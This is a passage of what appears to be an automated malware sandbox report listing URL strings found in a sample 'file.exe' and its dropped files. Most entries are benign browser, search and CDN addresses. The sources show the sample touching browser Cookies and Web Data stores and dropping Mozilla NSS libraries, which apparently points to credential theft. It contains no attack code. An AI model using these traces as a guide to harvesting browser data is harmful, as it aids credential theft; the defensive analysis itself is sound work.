Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp, FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2593928893.0000000001027000.00000004.00000020.00020000.00000000.sdmp, FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: ed7c3956-ab80-4f92-a888-e70735984623.tmp.9.dr, b0362305-850d-4925-93ef-66580b033c15.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: ed7c3956-ab80-4f92-a888-e70735984623.tmp.9.dr, b0362305-850d-4925-93ef-66580b033c15.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2620944238.00000000236C1000.00000004.00000020.00020000.00000000.sdmp, AFHJJEHIEBKKFIDHDGHJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: FCAAAAFB.0.dr, BKFIJJEG.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_464.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_464.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_464.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_464.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: AFHJJEHIEBKKFIDHDGHJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: aaa81e57-8a9d-4779-8a93-7828fe49f3f9.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log1.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log8.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log8.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log8.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log8.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
